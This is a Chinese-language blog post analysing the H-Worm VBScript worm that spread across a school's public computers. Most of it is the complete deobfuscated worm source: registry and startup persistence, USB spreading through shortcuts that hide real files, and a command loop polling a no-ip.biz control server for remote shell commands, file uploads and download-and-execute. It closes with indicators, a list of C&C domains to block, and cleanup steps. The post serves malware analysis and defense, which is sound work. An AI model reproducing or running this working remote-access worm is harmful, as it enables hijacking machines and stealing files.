H-Worm 校内传播报告

事件起因

据说是由某历史老师从国外带回,在校园内广泛传播,阶梯教室、图书馆等公共计算机成为其重灾区,且 360 无法清除该恶意脚本。

样本分析

样本名

fuck girlMagazines +18 (3).vbs

类别

Virus.Vbs.Crypt.C

行为分析

将设备内所有文件移动到 360SANDBOX 隐藏目录,并为全部文件在原位置建立快捷方式。当用户访问文件时,会先通过快捷方式执行脚本,再访问真实文件来迷惑用户。

脚本代码

源文件:fuck girlMagazines +18 (3)
经过两次 Base64 Decode 以及 ASCII 码替代混淆,我们得到了原始脚本。(感谢 RuanXingZhi 协助解析脚本)

'<[ recoder : houdini (c) skype : houdini-fx ]>

'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=

host = "mmoohhaammeedd.no-ip.biz"
port = 12
installdir = "%temp%"
lnkfile = true
lnkfolder = true

'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=

dim shellobj 
set shellobj = wscript.createobject("wscript.shell")
dim filesystemobj
set filesystemobj = createobject("scripting.filesystemobject")
dim httpobj
set httpobj = createobject("msxml2.xmlhttp")


'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=

installname = wscript.scriptname
startup = shellobj.specialfolders ("startup") & "\"
installdir = shellobj.expandenvironmentstrings(installdir) & "\"
if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
spliter = "<" & "|" & ">"
sleep = 5000 
dim response
dim cmd
dim param
info = ""
usbspreading = ""
startdate = ""
dim oneonce

'=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
on error resume next


instance
while true

install

response = ""
response = post ("is-ready","")
cmd = split (response,spliter)
select case cmd (0)
case "excecute"
      param = cmd (1)
      execute param
case "update"
      param = cmd (1)
      oneonce.close
      set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
      oneonce.write param
      oneonce.close
      shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
      wscript.quit 
case "uninstall"
      uninstall
case "send"
      download cmd (1),cmd (2)
case "site-send"
      sitedownloader cmd (1),cmd (2)
case "recv"
      param = cmd (1)
      upload (param)
case  "enum-driver"
      post "is-enum-driver",enumdriver  
case  "enum-faf"
      param = cmd (1)
      post "is-enum-faf",enumfaf (param)
case  "enum-process"
      post "is-enum-process",enumprocess   
case  "cmd-shell"
      param = cmd (1)
      post "is-cmd-shell",cmdshell (param)  
case  "delete"
      param = cmd (1)
      deletefaf (param) 
case  "exit-process"
      param = cmd (1)
      exitprocess (param) 
case  "sleep"
      param = cmd (1)
      sleep = eval (param)        
end select

wscript.sleep sleep

wend


sub install
on error resume next
dim lnkobj
dim filename
dim foldername
dim fileicon
dim foldericon

upstart
for each drive in filesystemobj.drives

if  drive.isready = true then
if  drive.freespace  > 0 then
if  drive.drivetype  = 1 then
    filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
    if  filesystemobj.fileexists (drive.path & "\" & installname)  then
        filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
    end if
    for each file in filesystemobj.getfolder( drive.path & "\" ).Files
        if not lnkfile then exit for
        if  instr (file.name,".") then
            if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                file.attributes = 2+4
                if  ucase (file.name) <> ucase (installname) then
                    filename = split(file.name,".")
                    set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                    lnkobj.windowstyle = 7
                    lnkobj.targetpath = "cmd.exe"
                    lnkobj.workingdirectory = ""
                    lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                    fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                    if  instr (fileicon,",") = 0 then
                        lnkobj.iconlocation = file.path
                    else 
                        lnkobj.iconlocation = fileicon
                    end if
                    lnkobj.save()
                end if
            end if
        end if
    next
    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
        if not lnkfolder then exit for
        folder.attributes = 2+4
        foldername = folder.name
        set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
        lnkobj.windowstyle = 7
        lnkobj.targetpath = "cmd.exe"
        lnkobj.workingdirectory = ""
        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
        foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
        if  instr (foldericon,",") = 0 then
            lnkobj.iconlocation = folder.path
        else 
            lnkobj.iconlocation = foldericon
        end if
        lnkobj.save()
    next
end If
end If
end if
next
err.clear
end sub

sub uninstall
on error resume next
dim filename
dim foldername

shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
filesystemobj.deletefile startup & installname ,true
filesystemobj.deletefile wscript.scriptfullname ,true

for  each drive in filesystemobj.drives
if  drive.isready = true then
if  drive.freespace  > 0 then
if  drive.drivetype  = 1 then
    for  each file in filesystemobj.getfolder ( drive.path & "\").files
         on error resume next
         if  instr (file.name,".") then
             if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                 file.attributes = 0
                 if  ucase (file.name) <> ucase (installname) then
                     filename = split(file.name,".")
                     filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                 else
                     filesystemobj.deletefile (drive.path & "\" & file.name)
                 end If
             else
                 filesystemobj.deletefile (file.path) 
             end if
         end if
     next
     for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
         folder.attributes = 0
     next
end if
end if
end if
next
wscript.quit
end sub

function post (cmd ,param)

post = param
httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
httpobj.setrequestheader "user-agent:",information
httpobj.send param
post = httpobj.responsetext
end function

function information
on error resume next
if  inf = "" then
    inf = hwid & spliter 
    inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
    inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter

    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    set os = root.execquery ("select * from win32_operatingsystem")
    for each osinfo in os
       inf = inf & osinfo.caption & spliter  
       exit for
    next
    inf = inf & "plus" & spliter
    inf = inf & security & spliter
    inf = inf & usbspreading
    information = inf  
else
    information = inf
end if
end function


sub upstart ()
on error resume Next

shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true

end sub


function hwid
on error resume next

set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
set disks = root.execquery ("select * from win32_logicaldisk")
for each disk in disks
    if  disk.volumeserialnumber <> "" then
        hwid = disk.volumeserialnumber
        exit for
    end if
next
end function


function security 
on error resume next

security = ""

set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
for each objitem in colitems
    versionstr = split (objitem.version,".")
next
versionstr = split (colitems.version,".")
osversion = versionstr (0) & "."
for  x = 1 to ubound (versionstr)
     osversion = osversion &  versionstr (i)
next
osversion = eval (osversion)
if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"

set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)

for each objantivirus in colantivirus
    security  = security  & objantivirus.displayname & " ."
next
if security  = "" then security  = "nan-av"
end function


function instance
on error resume next

usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
if usbspreading = "" then
   if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
      usbspreading = "true - " & date
      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
   else
      usbspreading = "false - " & date
      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"

   end if
end If



upstart
set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
set installfullnameshort =  filesystemobj.getfile (installdir & installname)
if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
    wscript.quit 
end If
err.clear
set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
if  err.number > 0 then wscript.quit
end function


sub sitedownloader (fileurl,filename)

strlink = fileurl
strsaveto = installdir & filename
set objhttpdownload = createobject("msxml2.xmlhttp" )
objhttpdownload.open "get", strlink, false
objhttpdownload.send

set objfsodownload = createobject ("scripting.filesystemobject")
if  objfsodownload.fileexists (strsaveto) then
    objfsodownload.deletefile (strsaveto)
end if
 
if objhttpdownload.status = 200 then
   dim  objstreamdownload
   set  objstreamdownload = createobject("adodb.stream")
   with objstreamdownload
        .type = 1 
        .open
        .write objhttpdownload.responsebody
        .savetofile strsaveto
        .close
   end with
   set objstreamdownload = nothing
end if
if objfsodownload.fileexists(strsaveto) then
   shellobj.run objfsodownload.getfile (strsaveto).shortpath
end if 
end sub

sub download (fileurl,filedir)

if filedir = "" then 
   filedir = installdir
end if

strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
set objhttpdownload = createobject("msxml2.xmlhttp")
objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
objhttpdownload.send ""
     
set objfsodownload = createobject ("scripting.filesystemobject")
if  objfsodownload.fileexists (strsaveto) then
    objfsodownload.deletefile (strsaveto)
end if
if  objhttpdownload.status = 200 then
    dim  objstreamdownload
    set  objstreamdownload = createobject("adodb.stream")
    with objstreamdownload 
         .type = 1 
         .open
         .write objhttpdownload.responsebody
         .savetofile strsaveto
         .close
    end with
    set objstreamdownload  = nothing
end if
if objfsodownload.fileexists(strsaveto) then
   shellobj.run objfsodownload.getfile (strsaveto).shortpath
end if 
end sub


function upload (fileurl)

dim  httpobj,objstreamuploade,buffer
set  objstreamuploade = createobject("adodb.stream")
with objstreamuploade 
     .type = 1 
     .open
     .loadfromfile fileurl
     buffer = .read
     .close
end with
set objstreamdownload = nothing
set httpobj = createobject("msxml2.xmlhttp")
httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
httpobj.send buffer
end function


function enumdriver ()

for  each drive in filesystemobj.drives
if   drive.isready = true then
     enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
end if
next
end Function

function enumfaf (enumdir)

enumfaf = enumdir & spliter
for  each folder in filesystemobj.getfolder (enumdir).subfolders
     enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
next

for  each file in filesystemobj.getfolder (enumdir).files
     enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter

next
end function


function enumprocess ()

on error resume next

set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
set colitems = objwmiservice.execquery("select * from win32_process",,48)

dim objitem
for each objitem in colitems
    enumprocess = enumprocess & objitem.name & "|"
    enumprocess = enumprocess & objitem.processid & "|"
    enumprocess = enumprocess & objitem.executablepath & spliter
next
end function

sub exitprocess (pid)
on error resume next

shellobj.run "taskkill /F /T /PID " & pid,7,true
end sub

sub deletefaf (url)
on error resume next

filesystemobj.deletefile url
filesystemobj.deletefolder url

end sub

function cmdshell (cmd)

dim httpobj,oexec,readallfromany

set oexec = shellobj.exec ("%comspec% /c " & cmd)
if not oexec.stdout.atendofstream then
   readallfromany = oexec.stdout.readall
elseif not oexec.stderr.atendofstream then
   readallfromany = oexec.stderr.readall
else 
   readallfromany = ""
end if

cmdshell = readallfromany
end function

通过阅读源码我们发现,这是一款功能齐全的远控脚本,提供了上传/下载/CMD等多种功能。
脚本作者:houdini
连接域名:mmoohhaammeedd.no-ip.biz
监听端口:12
感染特征:免费动态域名+非知名的端口+“/is-ready”

我们拿到了 H-Worm 控制端,界面很美观,功能很强大,还可以自身更新、卸载,赞。
事后(2016-8)我们通过查阅发现,2016-7-1 360 发布了关于 H-Worm 的漏洞报告(H-WORM:简单而活跃的远控木马),其中提到了以下 C&C 服务器地址,建议各网络管理员拉黑处理。

zzzch.zapto.org
ysf.no-ip.biz
ycemufkk6g.bounceme.net
xxx-xxx.no-ip.info
xkiller.no-ip.info
wach.no-ip.org
tariqalr.zapto.org
shagagy21.no-ip.biz
sexcam.3utilities.com
servecounterstrike.servecounterstrike.com
playgame.servecounterstrike.com
p-dark.zapto.org
nouna1985.no-ip.org
n0it.no-ip.org
mzab47.myq-see.com
modox.no-ip.org
mmoohhaammeedd.no-ip.biz
mlcrosoft.serveftp.com
microsoftupgrades.servehttp.com
microsoftsystem.sytes.net
micr0s0ftsoft.myftp.org
mda.no-ip.org
maroco.redirectme.net
maroco.myq-see.com
maroco.linkpc.net
man2010.no-ip.org
korom.zapto.org
koko.myftp.org
klonkino.no-ip.org
king.servemp3.com
herohero.no-ip.org
hacker20133.no-ip.org
googlechrome.servequake.com
g00gle.sytes.net
dzhacker15.no-ip.org
dz47.servehttp.com
dz47.myq-see.com
dz47.linkpc.net
dream7.no-ip.biz
diiimaria.zapto.org
desha10.no-ip.org
dataday3.no-ip.org
darkanony0501.no-ip.biz
cupidon.zapto.org
chrom.no-ip.info
bog5151.zapto.org
blackmind.redirectme.net
albertino.no-ip.info
adolf2013.sytes.net
adamdam.zapto.org

处理方法

禁用 Autorun.inf,删除 *.lnk,选择主流安全软件。

参考文献

[1]Fireeye – Now you see me H-Worm by Houdini

后记

2014/12/26 本文发布
2014/12/** 学校网络中心称此问题无法解决
2016/08/11 更新内容与脚本

CC BY-SA 4.0 H-Worm 校内传播报告 by 小小泥娃的部落格 is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.

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